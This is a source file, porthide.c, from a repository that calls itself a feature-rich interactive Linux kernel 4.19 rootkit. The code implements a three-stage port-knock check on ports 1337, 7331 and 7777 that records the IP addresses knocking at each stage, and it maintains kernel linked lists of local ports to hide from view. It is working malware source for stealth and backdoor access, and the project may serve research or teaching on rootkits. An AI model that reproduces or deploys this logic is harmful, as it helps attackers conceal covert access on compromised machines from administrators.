linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

porthide.c (4169B)


      1 #include <linux/kernel.h>
      2 #include <linux/kprobes.h>
      3 #include <linux/skbuff.h>
      4 #include <linux/netdevice.h>
      5 #include <linux/inet.h>
      6 #include <uapi/linux/if_packet.h>
      7 #include <uapi/linux/ip.h>
      8 #include <uapi/linux/ipv6.h>
      9 #include <linux/ip.h>
     10 #include <linux/in.h>
     11 #include <linux/ipv6.h>
     12 
     13 #include "common.h"
     14 #include "hook.h"
     15 #include "porthide.h"
     16 
     17 // knock stage 1: 1337
     18 knock_list_t ips_stage1 = {
     19     .ip  = { 0 },
     20     .version = -1,
     21     .prev = NULL,
     22     .next = NULL,
     23 };
     24 
     25 knock_list_t_ptr ips_stage1_tail = &ips_stage1;
     26 
     27 // knock stage 2: 7331
     28 knock_list_t ips_stage2 = {
     29     .ip  = { 0 },
     30     .version = -1,
     31     .prev = NULL,
     32     .next = NULL,
     33 };
     34 
     35 knock_list_t_ptr ips_stage2_tail = &ips_stage2;
     36 
     37 // knock stage 3: 7777
     38 knock_list_t ips_stage3 = {
     39     .ip  = { 0 },
     40     .version = -1,
     41     .prev = NULL,
     42     .next = NULL,
     43 };
     44 
     45 knock_list_t_ptr ips_stage3_tail = &ips_stage3;
     46 
     47 lport_list_t hidden_lports = {
     48     .lport = -1,
     49     .prev = NULL,
     50     .next = NULL,
     51 };
     52 
     53 lport_list_t_ptr hidden_lports_tail = &hidden_lports;
     54 
     55 void
     56 hide_lport(lport_t lport)
     57 {
     58     if (!list_contains_lport(&hidden_lports, lport))
     59         add_lport_to_list(hidden_lports_tail, lport);
     60 }
     61 
     62 void
     63 unhide_lport(lport_t lport)
     64 {
     65     remove_lport_from_list(&hidden_lports, lport);
     66 }
     67 
     68 bool
     69 stage1_knock(lport_t port)
     70 {
     71     return port == 1337;
     72 }
     73 
     74 bool
     75 stage2_knock(lport_t port)
     76 {
     77     return port == 7331;
     78 }
     79 
     80 bool
     81 stage3_knock(lport_t port)
     82 {
     83     return port == 7777;
     84 }
     85 
     86 void
     87 clear_hidden_lports(void)
     88 {
     89     lport_list_t_ptr i = hidden_lports_tail;
     90     while ((i = remove_lport_from_list(i, i->lport)));
     91 }
     92 
     93 bool
     94 list_contains_lport(lport_list_t_ptr list, lport_t lport)
     95 {
     96     return !!find_lport_in_list(list, lport);
     97 }
     98 
     99 lport_list_t_ptr
    100 find_lport_in_list(lport_list_t_ptr head, lport_t lport)
    101 {
    102     lport_list_t_ptr i;
    103     for (i = head; i; i = i->next)
    104         if (i->lport == lport)
    105             return i;
    106 
    107     return NULL;
    108 }
    109 
    110 lport_list_t_ptr
    111 add_lport_to_list(lport_list_t_ptr tail, lport_t lport)
    112 {
    113     lport_list_t_ptr node;
    114     node = (lport_list_t_ptr)kmalloc(sizeof(lport_list_t), GFP_KERNEL);
    115 
    116     if (node) {
    117         node->lport = lport;
    118         node->next = NULL;
    119         node->prev = tail;
    120         tail->next = node;
    121         hidden_lports_tail = node;
    122         return node;
    123     }
    124 
    125     return NULL;
    126 }
    127 
    128 lport_list_t_ptr
    129 remove_lport_from_list(lport_list_t_ptr list, lport_t lport)
    130 {
    131     lport_list_t_ptr i = find_lport_in_list(list, lport), ret = NULL;
    132 
    133     if (i && (i->lport != -1)) {
    134         if (i->next)
    135             i->next->prev = i->prev;
    136         else
    137             hidden_lports_tail = i->prev ? i->prev : &hidden_lports;
    138 
    139         if (i->prev) {
    140             i->prev->next = i->next;
    141             ret = i->prev;
    142         }
    143 
    144         kfree(i);
    145     }
    146 
    147     return ret;
    148 }
    149 
    150 bool
    151 list_contains_knock(knock_list_t_ptr list, ip_t ip, ip_version version)
    152 {
    153     return !!find_knock_in_list(list, ip, version);
    154 }
    155 
    156 knock_list_t_ptr
    157 find_knock_in_list(knock_list_t_ptr head, ip_t ip, ip_version version)
    158 {
    159     knock_list_t_ptr i;
    160     for (i = head; i; i = i->next)
    161         if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && (version == -1 || i->version == version))
    162             return i;
    163 
    164     return NULL;
    165 }
    166 
    167 knock_list_t_ptr
    168 add_knock_to_list(knock_list_t_ptr *tail, ip_t ip, ip_version version)
    169 {
    170     knock_list_t_ptr node;
    171     node = (knock_list_t_ptr)kmalloc(sizeof(knock_list_t), GFP_KERNEL);
    172 
    173     if (node) {
    174         memcpy(node->ip, ip, (version == v4 ? 4 : 16));
    175         node->version = version;
    176         node->next = NULL;
    177         node->prev = *tail;
    178         (*tail)->next = node;
    179         *tail = node;
    180         return node;
    181     }
    182 
    183     return NULL;
    184 }
    185 
    186 knock_list_t_ptr
    187 remove_knock_from_list(knock_list_t_ptr list, knock_list_t_ptr *tail, ip_t ip, ip_version version)
    188 {
    189     knock_list_t_ptr i = find_knock_in_list(list, ip, version), ret = NULL;
    190 
    191     if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16)) && i->version != -1)) {
    192         if (i->next)
    193             i->next->prev = i->prev;
    194         else
    195             *tail = i->prev ? i->prev : list;
    196 
    197         if (i->prev) {
    198             i->prev->next = i->next;
    199             ret = i->prev;
    200         }
    201 
    202         kfree(i);
    203     }
    204 
    205     return ret;
    206 }